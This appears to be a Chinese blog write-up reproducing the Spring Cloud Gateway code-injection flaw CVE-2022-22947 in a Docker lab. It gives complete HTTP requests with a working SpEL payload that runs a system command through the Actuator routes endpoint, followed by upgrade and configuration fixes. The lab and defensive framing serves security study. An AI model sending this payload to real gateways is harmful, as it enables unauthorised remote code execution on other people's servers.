Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析
作者:毛毛的猫毛 时间:2021-10-03 11:25:56
1.漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
2.影响版本
3.1.0
3.0.0至3.0.6
Spring Cloud Gateway 其他已不再更新的版本
3.漏洞环境搭建
利用docker搭建漏洞复现环境
git pul #更新vulhub
切换到/vulhub/spring/CVE-2022-22947目录
拉取漏洞环境
docker-compose up -d
访问http://192.168.42.145:8080
4.漏洞复现
添加包含恶意的路由
POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新网关路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
命令执行成功
GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
删除添加的恶意路由
DELETE /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
5.修复方案
1)3.1.x用户应升级到3.1.1+;
2)3.0.x用户应升级到3.0.7+;
3)如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。
来源:https://blog.csdn.net/m0_67400973/article/details/126496846
标签:Spring,Cloud,Gateway,漏洞
0
投稿
猜你喜欢
C# ODP.NET 调用Oracle函数返回值时报错的一个解决方案
2021-10-03 01:54:19
MyBatis动态SQL标签用法实例详解
2023-11-26 01:04:27
C# 根据字符串生成二维码的实例代码
2023-09-16 09:06:50
C#实现添加多行文本水印到Word文档
2023-03-22 07:45:33
值得Java开发者关注的7款新工具
2023-11-02 23:05:31
Java中关于二叉树的概念以及搜索二叉树详解
2023-01-12 00:09:25
java中Date类和Strng类的灵活转化
2022-12-09 07:47:24
Java编程枚举类实战代码分享
2023-10-16 09:36:51
关于IDEA中spring-cloud-starter-alibaba-nacos-discovery 无法引入问题
2022-09-14 19:34:21
C/C++混合编程之extern “C”的使用示例
2021-11-18 03:33:58
Input系统之InputReader处理触摸事件案例
2022-12-18 07:32:35
C#开发Winform控件之打开文件对话框OpenFileDialog类
2023-04-19 10:53:16
Java线程生命周期的终止与复位
2022-04-22 01:57:01
C#和SQL实现的字符串相似度计算代码分享
2021-06-10 14:23:20
详解Java面向对象编程之多态
2023-08-28 19:17:06
SpringBoot实现文件上传与下载功能的示例代码
2021-11-10 09:15:32
springboot启动脚本start.sh和停止脚本 stop.sh的详细教程
2022-10-11 08:28:26
在项目中直接使用hystrix的流程分析
2021-10-22 01:55:21
Android SDK Manager解决更新时的问题 :Failed to fetch URL...
2023-03-17 23:23:36
Android使用onCreateOptionsMenu()创建菜单Menu的方法详解
2023-05-13 06:21:01